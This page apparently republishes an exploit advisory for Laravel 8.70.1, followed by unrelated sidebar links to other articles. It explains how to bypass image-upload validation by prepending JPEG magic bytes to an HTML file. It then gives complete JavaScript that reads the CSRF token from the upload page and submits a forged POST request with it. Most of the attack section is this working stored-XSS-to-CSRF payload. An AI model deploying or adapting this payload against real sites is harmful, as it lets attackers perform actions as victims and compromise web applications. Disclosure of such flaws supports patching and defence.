当前位置:网站首页>PHP laravel 8.70.1 - cross site scripting (XSS) to cross Site Request Forgery (CSRF)
PHP laravel 8.70.1 - cross site scripting (XSS) to cross Site Request Forgery (CSRF)
2022-06-23 22:13:00 【Khan security team】
supply Business Homepage :https://laravel.com/
Software link :https://laravel.com/docs/4.2
edition :Laravel frame 8.70.1
test :Windows/Linux
explain :
We can bypass laravel Picture file upload function , stay web The server uploads any file # Let's run any javascript And bypass csrf token , For more information , Please read this https://hosein-vita.medium.com/laravel-8-x-image-upload-bypass-zero-day-852bd806019b
Repeat step :
1- Use HxD Tool and add... At the beginning of the file FF D8 FF E0
2- Use the following code to bypass csrf token
3- Save it as Html File and upload .
<html>
<head>
<title>Laravel Csrf Bypass</title>
</head>
<body>
<script>
function submitFormWithTokenJS(token) {
var xhr = new XMLHttpRequest();
xhr.open("POST", POST_URL, true);
// Send the proper header information along with the request
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
// This is for debugging and can be removed
xhr.onreadystatechange = function() {
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
console.log(xhr.responseText);
}
}
//
xhr.send("_token=" + token + "&desiredParameter=desiredValue");
}
function getTokenJS() {
var xhr = new XMLHttpRequest();
// This tels it to return it as a HTML document
xhr.responseType = "document";
// true on the end of here makes the call asynchronous
//Edit the path as you want
xhr.open("GET", "/image-upload", true);
xhr.onload = function (e) {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
// Get the document from the response
page = xhr.response
// Get the input element
input = page.getElementsByTagName("input")[0];
// Show the token
alert("The token is: " + input.value);
// Use the token to submit the form
submitFormWithTokenJS(input.value);
}
};
// Make the request
xhr.send(null);
}
getTokenJS();
var POST_URL="/"
getTokenJS();
</script>
</html>边栏推荐
- CAD图在线Web测量工具代码实现(测量距离、面积、角度等)
- Like playing a game? Take it and use it to build the park scene
- Cloud native practice of meituan cluster scheduling system
- To develop AI face comparison, how to output multiple faces with comparative similarity?
- 使用 Provider 改造屎一样的代码,代码量降低了2/3!
- How to provide value for banks through customer value Bi analysis
- How does the API gateway intercept requests? How does the security of the API gateway reflect?
- Nanny level anti crawling teaching, JS reverse implementation of font anti crawling
- Acl2022 | MVR: multi view document representation for open domain retrieval
- How to solve the loss of video source during easynvr split screen switching?
猜你喜欢

北大、加州伯克利大学等联合| Domain-Adaptive Text Classification with Structured Knowledge from Unlabeled Data(基于未标记数据的结构化知识的领域自适应文本分类)

Bluetooth chip | Renesas and Ti launch new Bluetooth chip, try Lenz st17h65 Bluetooth ble5.2 chip

The latest research progress of domain generalization from CVPR 2022

Intel openvino tool suite advanced course & experiment operation record and learning summary

Introduction to scikit learn machine learning practice

Experiment 5 module, package and Library

Icml2022 | robust task representation for off-line meta reinforcement learning based on contrastive learning

Peking University, University of California Berkeley and others jointly | domain adaptive text classification with structured knowledge from unlabeled data (Domain Adaptive Text Classification Based o

万字长文!一文搞懂InheritedWidget 局部刷新机制

Configuring error sets using MySQL for Ubuntu 20.04.4 LTS
随机推荐
there can be only one auto column and it must be defined as a key
Knowda: all in one knowledge mixture model for data augmentation in feed shot NLP
How do I install the API gateway? What should I pay attention to?
Using barcode software to make certificates
How to provide value for banks through customer value Bi analysis
Redis source code analysis -- QuickList of redis list implementation principle
Like playing a game? Take it and use it to build the park scene
Meaning of the last seven digits of wider face
Assembly deployment process
How ppt creates a visual chart
Detailed explanation of lkadoc interface tool
How to wrap QR code data
Object declaration
【Proteus仿真】LCD1602+DS1307按键设置简易时钟
Peking University, University of California Berkeley and others jointly | domain adaptive text classification with structured knowledge from unlabeled data (Domain Adaptive Text Classification Based o
In depth understanding of Internet of things device access layer
Some opinions on microservices
Manually push a message platform
ACL2022 | MVR:面向开放域检索的多视角文档表征
Benchclock: a benchmark for evaluating semantic analysis language models